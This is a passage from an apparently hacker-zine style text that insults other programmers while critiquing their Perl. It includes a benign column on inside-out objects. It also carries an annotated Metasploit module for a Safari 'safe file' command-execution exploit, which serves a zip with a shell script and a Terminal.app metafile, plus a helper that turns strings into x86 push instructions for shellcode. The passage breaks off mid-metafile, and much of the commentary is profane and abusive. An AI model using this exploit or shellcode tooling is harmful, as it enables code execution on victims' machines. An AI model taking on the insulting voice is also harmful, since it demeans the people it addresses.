3113
3114my $t = gen_countdown( -10 );
3115print $t->(), "\n" for 1..12; # off by 1 error
3116
3117Becomes:
3118
3119sub gen_countdown {
3120 my $curr = shift;
3121
3122 return sub {
3123 if ( defined $curr && $curr == 0 ) {
3124 undef $curr, return 'blast off';
3125 }
3126
3127 warn 'List already exhausted' and return if ! $curr;
3128
3129 return $curr++;
3130 }
3131}
3132
3133-[0x0E] # rape skape -----------------------------------------------------
3134
3135#!/usr/bin/perl
3136
3137# skape I'll hand it to you, unlike most featured you can code.
3138# you just need to learn to code Perl, or at least better
3139
3140# you like my(), back it up with use strict, wimp
3141
3142if (not defined($ARGV[0])) {
3143 # old habits die hard, must be your PHP heritage
3144 print "Usage: ./stackpush.pl [string] [clobber register (default=eax)] [intel/att]\n";
3145 exit;
3146}
3147
3148my $nullTerminate = 1;
3149my $clobber = lc((defined($ARGV[1]) ? $ARGV[1] : 'eax'));
3150my $style = lc((defined($ARGV[2]) ? $ARGV[2] : 'intel'));
3151my $current = $ARGV[0];
3152# my $current = shift;
3153# my $clobber = shift || 'eax';
3154# my $style = shift || 'intel';
3155# really don't need defined() here either...
3156my $buf = "";
3157my $static = "";
3158# don't need the = "" part, at all...
3159# in Perl we have undef() for when you do (which ISN'T HERE), its much more tasteful
3160my %registerHash;
3161$registerHash{'eax'} = { name => 'eax', masq => { b32 => 'eax', b16 => 'ax', b8 => 'al' } };
3162$registerHash{'ebx'} = { name => 'ebx', masq => { b32 => 'ebx', b16 => 'bx', b8 => 'bl' } };
3163$registerHash{'ecx'} = { name => 'ecx', masq => { b32 => 'ecx', b16 => 'cx', b8 => 'cl' } };
3164$registerHash{'edx'} = { name => 'edx', masq => { b32 => 'edx', b16 => 'dx', b8 => 'dl' } };
3165$registerHash{'edi'} = { name => 'edi', masq => { b32 => 'edi', b16 => 'di', b8 => undef } };
3166$registerHash{'esi'} = { name => 'esi', masq => { b32 => 'esi', b16 => 'si', b8 => undef } };
3167$registerHash{'esp'} = { name => 'esp', masq => { b32 => 'esp', b16 => 'sp', b8 => undef } };
3168$registerHash{'ebp'} = { name => 'ebp', masq => { b32 => 'ebp', b16 => 'bp', b8 => undef } };
3169# hey, you know undef! sweet
3170# now if only that name wasn't so redundent and you limited the complexity of your data structure
3171if (not defined($registerHash{$clobber})) {
3172 print "Register $clobber is not a valid clobber register.\n";
3173 exit;
3174}
3175# one-line it!
3176# die "Register $clobber is not a valid clobber register.\n" unless $registerHash{$clobber};
3177if ($style eq 'att') {
3178 $registerHash{$clobber}->{'masq'}->{'b32'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b32'};
3179 $registerHash{$clobber}->{'masq'}->{'b16'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b16'};
3180
3181 if (defined($registerHash{$clobber}->{'masq'}->{'b8'})) {
3182 $registerHash{$clobber}->{'masq'}->{'b8'} = "\%" . $registerHash{$clobber}->{'masq'}->{'b8'};
3183 }
3184
3185 $static = "\$";
3186}
3187
3188if ($nullTerminate)
3189{
3190 my $nullpad = length($current) % 4;
3191 # I work for Save the Parens organization, please get those parentheses out of here and the following occurances
3192 if ($nullpad == 0) {
3193 $buf .= getInstruction(op => 'xor', src => $registerHash{$clobber}->{'masq'}->{'b32'}, dst => $registerHash{$clobber}->{'masq'}->{'b32'}) . "\n";
3194 $buf .= getInstruction(op => 'push', src => $registerHash{$clobber}->{'masq'}->{'b32'}) . "\n";
3195 # not how I would have structured it, but TIMTOWTDI
3196 } else {
3197
3198 my $sub = getBytes(string => $current, max => $nullpad, asHex => 1);
3199 my $bitsub;
3200 my $match;
3201 my $reg = undef;
3202 # one-line it! one-line it!
3203 my $reg32 = $registerHash{$clobber}->{'masq'}->{'b32'};
3204
3205 if (length($sub) == 2) {
3206 $reg = $registerHash{$clobber}->{'masq'}->{'b8'};
3207 $bitsub = "414141$sub";
3208 $match = "929292ff";
3209 } elsif (length($sub) == 4) {
3210 $reg = $registerHash{$clobber}->{'masq'}->{'b16'};
3211 $bitsub = "4141$sub";
3212 $match = "9292ffff";
3213 } elsif (length($sub) == 6) {
3214 $reg = $registerHash{$clobber}->{'masq'}->{'b32'};
3215 $bitsub = "41$sub";
3216 $match = "92ffffff";
3217 }
3218
3219
3220 if (not defined($reg) or length($sub) >= 6) {
3221 $buf .= getInstruction(op => 'mov', src => $static . "0x" . $bitsub, dst => $reg32) . "\n";
3222 $buf .= getInstruction(op => 'and', src => $static . "0x" . $match, dst => $reg32) . "\n";
3223 } else {
3224 $buf .= getInstruction(op => 'xor', src => $reg32, dst => $reg32) . "\n";
3225 $buf .= getInstruction(op => 'mov', src => $static . "0x" . $sub, dst => $reg) . "\n";
3226 }
3227 # get rid of those final . "\n"s above and put that here
3228 $buf .= getInstruction(op => 'push', src => $reg32) . "\n";
3229 }
3230
3231 $current = karate(string => $current, bytes => $nullpad);
3232}
3233
3234while (defined($current)) {
3235
3236 my $sub = getBytes(string => $current, max => 4, asHex => 1);
3237
3238 if (length($sub) == 0) {
3239 last;
3240 }
3241 # one-line it! one-line it!
3242 $buf .= "push $static" . "0x" . $sub . "\n";
3243
3244 $current = karate(string => $current, bytes => 4);
3245}
3246
3247print $buf;
3248
3249sub getBytes {
3250 my ($string, $max, $asHex) = @{{@_}}{qw/string max asHex/};
3251 # GOOD. didn't expect to see that
3252 # Oh wait, except that that complexity really isn't necessary - AT ALL
3253
3254 my $ret = "";
3255 # BAD
3256 if (not defined($max)) {
3257 $max = 4;
3258 }
3259 # BAD
3260
3261 if (length($string) < $max) {
3262 $ret = $string;
3263 } else {
3264 $ret = substr($string, length($string) - $max, $max);
3265 }
3266 # BAD
3267 if ($asHex) {
3268 # GOOD. Looks like you don't need defined() everywhere, huh?
3269 my $c = "";
3270 my $index = $max - 1;
3271 my $x;
3272
3273 while ($index >= 0 and $x = substr($ret, $index--, 1)) {
3274 $c .= sprintf("%.2x", ord($x) & 0xff);
3275 }
3276
3277 $ret = $c;
3278 # BAD
3279 }
3280
3281 return $ret;
3282}
3283
3284
3285sub getInstruction {
3286 my ($op, $src, $dst) = @{{@_}}{qw/op src dst/};
3287
3288 if ($style eq 'att') {
3289 return "$op $src" . ((defined($dst))?", $dst" : "");
3290 } else {
3291 if (not defined($dst)) {
3292 return "$op $src";
3293 } else {
3294 return "$op $dst, $src";
3295 }
3296 }
3297 # ouch. learn some code conservation
3298}
3299
3300sub karate {
3301 my ($string, $bytes) = @{{@_}}{qw/string bytes/};
3302
3303 if (length($string) <= $bytes) {
3304 return undef;
3305 }
3306
3307 return substr($string, 0, length($string) - $bytes);
3308}
3309
3310-[0x0F] # To envision a stack --------------------------------------------
3311
3312Let's talk about stacks. Stacks are stacks. We use a LIFO (last in
3313first out) stack. For a moment, and just a moment, let's imagine that
3314Perl's arrays are stacks. You may well know the 'push' option to push
3315an item onto the 'top' of this stack. You should know of 'pop' to take
3316an item off the top of this stack. Historically, this is how we do it.
3317However, in Perl we can do the same to either end of the stack. We can
3318use 'shift' to shift an item out from the 'bottom' of the stack. Or use
3319'unshift' to add an object to the bottom of this stack. Conveniently,
3320those will work by default on @ARGV. Due to this, we can use code such
3321as 'my $call = shift;' instead of something like 'my $call = $ARGV[0]'.
3322
3323Let's stop thinking of Perl arrays as stacks. They really aren't very
3324stack-like. I just use the example to try to get some form of
3325communication to your simple minds. If you want to put a physical image
3326to Perl arrays, think of them as a hollow cylinder lying on its side.
3327You can add or remove from either end. Unlike some other languages,
3328removing from the bottom of this array doesn't require that the other
3329values all be shifted down, they only appear shifted down. Perl arrays
3330grow both ways, there is no difference. Don't believe me? Whip out
3331Benchmark.pm and time the operations. That is, if you can figure out
3332how to use it.
3333
3334Why am I explaining this? Here I am, questioning myself over this very
3335dull description of a very simple concept. Yet, it must be justified,
3336because so few of you actually understand and use it. Where is the
3337creativity? Why, when given some power, you shrink from it and fear it,
3338instead of reaching out and grasping hold of it? Anyways, to continue,
3339and get to the point
3340
3341On second thought, FUCK IT, you are a waste of my fucking time.
3342
3343-[0x10] # School You: merlyn ---------------------------------------------
3344
3345Unix Review Column 63 (Mar 2006)
3346
3347[suggested title: ``Inside-out Objects'']
3348
3349In [my previous article], I created a traditional hash-based Perl
3350object: a Rectangle with two attributes (width and height) using the
3351constructor and accessors like so:
3352
3353 package Rectangle;
3354 sub new {
3355 my $class = shift;
3356 my %args = @_;
3357 my $self = {
3358 width => $args{width} || 0;
3359 height => $args{height} || 0;
3360 };
3361 return bless $self, $class;
3362 }
3363 sub width {
3364 my $self = shift;
3365 return $self->{width};
3366 }
3367 sub set_width {
3368 my $self = shift;
3369 $self->{width} = shift;
3370 }
3371 sub height {
3372 my $self = shift;
3373 return $self->{height};
3374 }
3375 sub set_height {
3376 my $self = shift;
3377 $self->{height} = shift;
3378 }
3379
3380I can construct a 3-by-4 rectangle easily:
3381
3382 my $r = Rectangle->new(width => 3, height => 4);
3383
3384At this point, $r is an object of type Rectangle, but it's also simply
3385a hashref. For example, the code in set_width merely deferences a value
3386like $r to gain access to the hash element with a key of width. But
3387does Perl require such code to be located within the Rectangle package?
3388No. As a user of the Rectangle class, I could easily say:
3389
3390 $r->{width} = 5;
3391
3392and update the width from 3 to 5. This is ``peering inside the box'',
3393and will lead to fragile code, because we've now exposed the
3394implementation of the object, not just the interface.
3395
3396For example, suppose we modify the set_width method to ensure that the
3397width is never negative:
3398
3399 use Carp qw(croak);
3400 sub set_width {
3401 my $self = shift;
3402 my $width = shift;
3403 croak "$self: width cannot be negative: $width"
3404 if $width < 0;
3405 $self->{width} = $width;
3406 }
3407
3408If the $width is less than 0, we croak, triggering a fatal exception,
3409but blaming the caller of this method. (We don't blame ourselves, and
3410croak is a great way to pass the blame.)
3411
3412At this point, we'll trap erroneous settings:
3413
3414 $r->set_width(-3); # will die
3415
3416But if someone has broken the box open, we get no fault:
3417
3418 $r->{width} = -3; # no death
3419
3420This is bad, because the author of the Rectangle class no longer
3421controls behavior for the objects, because the data implementation has
3422been exposed.
3423
3424Besides exposing the implementation, another problem is that I have to
3425be careful of typos. Suppose in rewriting the set_width method, I
3426accidentally transposed the last two letters of the hash key:
3427
3428 $self->{widht} = $width;
3429
3430This is perfectly legal Perl, and would not throw any compile-time or
3431run-time errors. Even use strict isn't helping here, because I'm not
3432misspelling a variable name: just naming a ``new'' hash key. Without
3433good unit tests and integration tests, I might not even catch this
3434error. Yes, there are some solutions to ensure that a hash's keys come
3435from only a particular set of permitted keys, but these generally slow
3436down the hash access significantly.
3437
3438We can solve both of these problems at once, without significantly
3439impacting the performance of our programs by using what's come to be
3440known as an inside-out object. First popularized by Damian Conway in
3441the neoclassic Object-Oriented Perl book, an inside-out object creates
3442a series of parallel hashes for the attributes (much like we had to do
3443back in the Perl4 days before we had hashrefs). For example, instead of
3444creating a single object for a rectangle that is 3 by 4:
3445
3446 my $r = { width => 3, height => 4 };
3447
3448we can record its attributes in two separate hashes, keyed by some
3449unique string:
3450
3451 my $r = "some unique string";
3452 $width{$r} = 3;
3453 $height{$r} = 4;
3454
3455Now, to get the height of the rectangle, we use the unique string:
3456
3457 my $width = $width{$r};
3458
3459and to update the height, we use that same string:
3460
3461 $height{$r} = 10;
3462
3463When we turn on use strict, and declare the %width and %height
3464attribute hashes, this will trap any typos related to attribute names:
3465
3466 use strict;
3467 my %width;
3468 my %height;
3469 ...
3470 my $r = "another unique string";
3471 $height{$r} = 7; # ok
3472 $widht{$r} = 3; # won't compile!
3473
3474The typo on the width is now caught, because we don't have a %widht
3475hash. Hooray. That solves the second problem. But how do we solve the
3476first problem, and where do we get this ``unique string'', and how do
3477we get methods on our object?
3478
3479If I assign a blessed anonymous empty hash to $r:
3480
3481 my $r = bless {}, "Rectangle";
3482
3483then when the value of $r is used as a string, I get a nice unique
3484string:
3485
3486 Rectangle=HASH(0x400180FE)
3487
3488where the number comes from the hex representation of the internal
3489memory address of the object. As long as this reference is alive, that
3490memory address will not be reused. Aha, there's our unique string:
3491
3492 sub new_7_by_3 {
3493 my $self = bless {}, shift;
3494 $height{$self} = 7;
3495 $width{$self} = 3;
3496 return $self;
3497 }
3498
3499And this is what our constructor does! By blessing the object, we'll
3500return to the same package for methods. By having an anonymous hashref,
3501we're guaranteed a unique number. And as long as the lexical %height
3502and %width hashes are in scope, we can access and update the
3503attributes.
3504
3505But what are we returning? Sure, it's a hashref, but it's empty.
3506There's no code that we can use to get from $r to the attribute hashes:
3507
3508 my $r = Rectangle->new_7_by_3;
3509
3510The only way we can get the height is to have code in same scope as the
3511definitions of the attribute hashes:
3512
3513 sub height {
3514 my $self = shift;
3515 return $height{$self};
3516 }
3517
3518And then we can use that code in our main program:
3519
3520 my $height = $r->height;
3521
3522The first parameter is $r, which gets used only for its unique string
3523value, as a key into the lexical %height hash! It all Just Works.
3524
3525Well, for some meaning of Works. We still have a couple of things to
3526fix. First, there's really no reason to make an anonymous hash, because
3527we never put anything into it, so we might as well make it a scalar:
3528
3529 my $self = bless \(my $dummy), shift;
3530
3531Because Perl doesn't have a primitive anonymous scalar constructor, I'm
3532cheating by making a $dummy variable.
3533
3534Second, we've got some tidying up to do. When a value is no longer
3535being referenced by any variable, we say it goes out of scope. When a
3536traditional hashref based object goes out of scope, any elements of the
3537hash are also discarded, usually causing the values to also go out of
3538scope (unless they are also referenced by some other live value). This
3539all happens quite automatically and efficiently.
3540
3541However, when our inside-out object goes out of scope, it doesn't
3542``contain'' anything. However, its address-as-a-string is being used in
3543one or more attribute hashes, and we need to get rid of those to mimic
3544the traditional object mechanism. So, we'll need to add a DESTROY
3545method:
3546
3547 sub DESTROY {
3548 my $dead_body = $_[0];
3549 delete $height{$dead_body};
3550 delete $width{$dead_body};
3551 my $super = $dead_body->can("SUPER::DESTROY");
3552 goto &$super if $super;
3553 }
3554
3555Note that after deleting our attributes, we also call any superclass
3556destructor, so that it has a chance to clean up too.
3557
3558Let's put it all together:
3559
3560 package Rectangle;
3561 my %width;
3562 my %height;
3563 sub new {
3564 my $class = shift;
3565 my %args = @_;
3566 my $self = bless \(my $dummy), $class;
3567 $width{$self} = $args{width} || 0;
3568 $height{$self} = $args{height} || 0;
3569 return $self;
3570 }
3571 sub DESTROY {
3572 my $dead_body = $_[0];
3573 delete $height{$dead_body};
3574 delete $width{$dead_body};
3575 my $super = $dead_body->can("SUPER::DESTROY");
3576 goto &$super if $super;
3577 }
3578 sub width {
3579 my $self = shift;
3580 return $width{$self};
3581 }
3582 sub set_width {
3583 my $self = shift;
3584 $width{$self} = shift;
3585 }
3586 sub height {
3587 my $self = shift;
3588 return $height{$self};
3589 }
3590 sub set_height {
3591 my $self = shift;
3592 $height{$self} = shift;
3593 }
3594
3595Not bad! Only slightly more complex than a traditional hashref
3596implementation, and a lot safer for the ``outside''. Of course, this is
3597a lot of code to get right, so the best thing is to let someone else do
3598the hard work. See Class::Std and Object::InsideOut for some budding
3599frameworks to build these objects. Until next time, enjoy!
3600
3601-[0x11] # Metajoke some Metasploit ---------------------------------------
3602
3603##
3604# This file is part of the Metasploit Framework and may be redistributed
3605# according to the licenses defined in the Authors field below. In the
3606# case of an unknown or missing license, this file defaults to the same
3607# license as the core Framework (dual GPLv2 and Artistic). The latest
3608# version of the Framework can always be obtained from metasploit.com.
3609##
3610
3611# the Infamous metawire project
3612
3613package Msf::Exploit::safari_safefiles_exec;
3614
3615use strict;
3616use base "Msf::Exploit";
3617use Pex::Text;
3618use IO::Socket::INET;
3619use IPC::Open3;
3620use FindBin qw{$RealBin}; # change it change it
3621
3622 my $advanced =
3623 {
3624'Gzip' => [1, 'Enable gzip content encoding'],
3625'Chunked' => [1, 'Enable chunked transfer encoding'],
3626 };
3627
3628my $info =
3629 {
3630'Name' => 'Safari Archive Metadata Command Execution',
3631'Version' => '$Revision: 1.3 $',
3632'Authors' =>
3633 [
3634'H D Moore <hdm [at] metasploit.com',
3635 ],
3636
3637'Description' =>
3638 Pex::Text::Freeform(qq{
3639This module exploits a vulnerability in Safari's "Safe file" feature, which will
3640automatically open any file with one of the allowed extensions. This can be abused
3641by supplying a zip file, containing a shell script, with a metafile indicating
3642that the file should be opened by Terminal.app. This module depends on
3643the 'zip' command-line utility.
3644}),
3645
3646'Arch' => [ ],
3647'OS' => [ ],
3648'Priv' => 0,
3649
3650'UserOpts' =>
3651 {
3652'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
3653'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
3654 'REALHOST' => [ 0, 'HOST', 'External address to use for redirects (NAT)' ],
3655 },
3656
3657'Payload' =>
3658 {
3659'Space' => 8000,
3660'MinNops' => 0,
3661'MaxNops' => 0,
3662'Keys' => ['cmd', 'cmd_bash'],
3663 },
3664'Refs' =>
3665 [
3666['URL', 'http://www.heise.de/english/newsticker/news/69862'],
3667['BID', '16736'],
3668 ],
3669
3670'DefaultTarget' => 0,
3671'Targets' =>
3672 [
3673[ 'Automatic' ]
3674 ],
3675
3676'Keys' => [ 'safari' ],
3677
3678'DisclosureDate' => 'Feb 21 2006',
3679 };
3680
3681sub new {
3682my $class = shift;
3683my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
3684return($self);
3685}
3686
3687# stop scrolling and look here!
3688
3689sub Exploit
3690{
3691# alright! past the framework overhead, finally
3692my $self = shift;
3693my $server = IO::Socket::INET->new(
3694LocalHost => $self->GetVar('HTTPHOST'),
3695LocalPort => $self->GetVar('HTTPPORT'),
3696ReuseAddr => 1,
3697Listen => 1,
3698Proto => 'tcp'
3699 );
3700my $client;
3701
3702# Did the listener create fail?
3703if (not defined($server)) {
3704# how about you use that 'or' shit thats all the rage now and save some typing '
3705$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
3706return;
3707}
3708
3709my $httphost = $self->GetVar('HTTPHOST');
3710$httphost = Pex::Utils::SourceIP('1.2.3.4') if $httphost eq '0.0.0.0';
3711
3712$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
3713
3714while (defined($client = $server->accept())) {
3715$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
3716}
3717
3718return;
3719}
3720
3721sub HandleHttpClient
3722{
3723my $self = shift;
3724my $fd = shift;
3725
3726# Set the remote host information
3727my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
3728
3729
3730# Read the HTTP command
3731my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
3732my $agent;
3733
3734# Read in the HTTP headers
3735while ((my $line = $fd->RecvLine(10))) {
3736
3737$line =~ s/^\s+|\s+$//g;
3738
3739my ($var, $val) = split(/\:/, $line, 2);
3740
3741# Break out if we reach the end of the headers
3742last if (not defined($var) or not defined($val));
3743
3744$agent = $val if $var =~ /User-Agent/i;
3745}
3746
3747my $target = $self->Targets->[$self->GetVar('TARGET')];
3748my $shellcode = $self->GetVar('EncodedPayload')->RawPayload;
3749my $content = $self->CreateZip($shellcode) || return;
3750# || or its all the same
3751
3752$self->PrintLine("[*] HTTP Client connected from $rhost:$rport, sending ".length($shellcode)." bytes of payload...");
3753
3754$fd->Send($self->BuildResponse($content));
3755
3756select(undef, undef, undef, 0.1);
3757
3758$fd->Close();
3759}
3760
3761sub RandomHeaders {
3762my $self = shift;
3763my $head = '';
3764# undef, bitch
3765
3766while (length($head) < 3072) {
3767$head .= "X-" .
3768 Pex::Text::AlphaNumText(int(rand(30) + 5)) . ': ' .
3769 Pex::Text::AlphaNumText(int(rand(256) + 5)) ."\r\n";
3770}
3771return $head;
3772}
3773
3774
3775sub BuildResponse {
3776my ($self, $content) = @_;
3777
3778my $response =
3779 "HTTP/1.1 200 OK\r\n" .
3780 $self->RandomHeaders() .
3781 "Content-Type: application/zip\r\n";
3782
3783if ($self->GetVar('Gzip')) {
3784$response .= "Content-Encoding: gzip\r\n";
3785$content = $self->Gzip($content);
3786}
3787if ($self->GetVar('Chunked')) {
3788$response .= "Transfer-Encoding: chunked\r\n";
3789$content = $self->Chunk($content);
3790} else {
3791$response .= 'Content-Length: ' . length($content) . "\r\n" .
3792 "Connection: close\r\n";
3793}
3794
3795$response .= "\r\n" . $content;
3796
3797return $response;
3798}
3799
3800sub Chunk {
3801my ($self, $content) = @_;
3802
3803my $chunked;
3804while (length($content)) {
3805my $chunk = substr($content, 0, int(rand(10) + 1), '');
3806$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
3807}
3808$chunked .= "0\r\n\r\n";
3809
3810return $chunked;
3811}
3812
3813sub Gzip {
3814my $self = shift;
3815my $data = shift;
3816my $comp = int(rand(5))+5;
3817
3818my($wtr, $rdr, $err);
3819
3820my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
3821print $wtr $data;
3822close ($wtr);
3823local $/;
3824# hehe
3825return (<$rdr>);
3826}
3827
3828# Lame!
3829# agreed!
3830sub CreateZip {
3831my $self = shift;
3832my $cmds = shift;
3833
3834my $data = $cmds."\n";
3835my $name = Pex::Text::AlphaNumText(int(rand(10)+4)).".mov";
3836my $temp = ($ENV{'HOME'} || $RealBin || "/tmp") . "/msf_safari_temp_".Pex::Text::AlphaNumText(16);
3837
3838if ($self->GotZip != 0) {
3839$self->PrintLine("[*] Could not execute the zip command (or zip returned an error)");
3840return;
3841}
3842
3843# so now its ! instead of not? make up your mind
3844
3845if (! mkdir($temp,0755)) {
3846$self->PrintLine("[*] Could not create a temporary directory: $!");
3847return;
3848}
3849
3850if (! chdir($temp)) {
3851$self->PrintLine("[*] Could not change into temporary directory: $!");
3852$self->Nuke($temp);
3853return;
3854}
3855
3856if (! mkdir("$temp/__MACOSX",0755)) {
3857$self->PrintLine("[*] Could not create the MACOSX temporary directory: $!");
3858return $self->Nuke($temp);
3859return;
3860}
3861
3862if (! open(TMP, ">$temp/$name")) {
3863# oh yeah! two argument vulnerable open
3864$self->PrintLine("[*] Could not create the shell script: $!");
3865$self->Nuke($temp);
3866return;
3867}
3868
3869print TMP $data;
3870close(TMP);
3871
3872# This is important :)
3873chmod(0755, "$temp/$name");
3874
3875# For demanding an exhaustive framework and format
3876# you'd think there'd be some standard enforcement
3877# on shit like this
3878if (! open(TMP, ">$temp/__MACOSX/._".$name)) {
3879$self->PrintLine("[*] Could not create the metafile: $!");
3880$self->Nuke($temp);
3881return;
3882}
3883
3884print TMP $self->OSXMetaFile;
3885close(TMP);
3886
3887system("zip", "exploit.zip", $name, "__MACOSX/._".$name);
3888# yeah...no.
3889
3890
3891if( ! open(TMP, "<"."exploit.zip")) {
3892$self->PrintLine("[*] Failed to create exploit.zip (weird zip command?)");
3893$self->Nuke($temp);
3894return;
3895}
3896
3897my $xzip;
3898while (<TMP>) { $xzip .= $_ }
3899# nasty slurp.
3900close (TMP);
3901
3902$self->Nuke($temp);
3903return $xzip;
3904}
3905
3906sub Nuke {
3907my $self = shift;
3908my $temp = shift;
3909system("rm", "-rf", $temp);
3910# sigh...
3911return;
3912}
3913
3914sub GotZip {
3915return system("zip -h >/dev/null 2>&1");
3916# what's this? decided to quote it all at once now?
3917# be consistent, jerkwad
3918}
3919
3920
3921# ok, you of all fuckers need to use the repetition operator
3922# really, how many nulls is that? COUNT THEM.
3923# there must be 200 uninterrupted, and then a block twice that
3924# so FUCK YOU
3925
3926sub OSXMetaFile {
3927return
3928"\x00\x05\x16\x07\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3929"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x09\x00\x00".
3930"\x00\x32\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x52\x00\x00".
3931"\x05\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3932"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3933"\x00\x00\x00\x00\x01\x00\x00\x00\x05\x08\x00\x00\x04\x08\x00\x00".
3934"\x00\x32\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3935"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3936"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3937"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3938"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3939"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3940"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3941"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3942"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3943"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3944"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3945"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3946"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3947"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3948"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3949"\x00\x00\x00\x00\x04\x04\x00\x00\x00\x25\x2f\x41\x70\x70\x6c\x69".
3950"\x63\x61\x74\x69\x6f\x6e\x73\x2f\x55\x74\x69\x6c\x69\x74\x69\x65".
3951"\x73\x2f\x54\x65\x72\x6d\x69\x6e\x61\x6c\x2e\x61\x70\x70\x00\xec".
3952"\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
3953"\xec\xec\xff\xec\xec\xec\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".
3954"\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1\xe1\xe1\xff\xe1".
3955"\xe1\xe1\xff\xe1\xe1\xe1\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6".
3956"\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6\xe6\xe6\xff\xe6".
3957"\xe6\xe6\xff\xe6\xe6\xe6\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9".
3958"\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9\xe9\xe9\xff\xe9".
3959"\xe9\xe9\xff\xe9\xe9\xe9\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
3960"\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec\xec\xec\xff\xec".
3961"\xec\xec\xff\xec\xec\xec\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef".
3962"\xef\xef\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef\xef\xef\xff\xef".
3963"\xef\xef\xff\xef\xef\xef\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3".
3964"\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3\xf3\xf3\xff\xf3".
3965"\xf3\xf3\xff\xf3\xf3\xf3\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6".
3966"\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6\xf6\xf6\xff\xf6".
3967"\xf6\xf6\xff\xf6\xf6\xf6\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8".
3968"\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8\xf8\xf8\xff\xf8".
3969"\xf8\xf8\xff\xf8\xf8\xf8\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc".
3970"\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc\xfc\xfc\xff\xfc".
3971"\xfc\xfc\xff\xfc\xfc\xfc\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
3972"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
3973"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
3974"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff".
3975"\xff\xff\xff\xff\xff\xff\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00".
3976"\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00\x00\x00\xa8\x00".
3977"\x00\x00\xa8\x00\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00".
3978"\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00\x00\x00\x2a\x00".
3979"\x00\x00\x2a\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00".
3980"\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x03\x00".
3981"\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3982"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3983"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
3984"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".
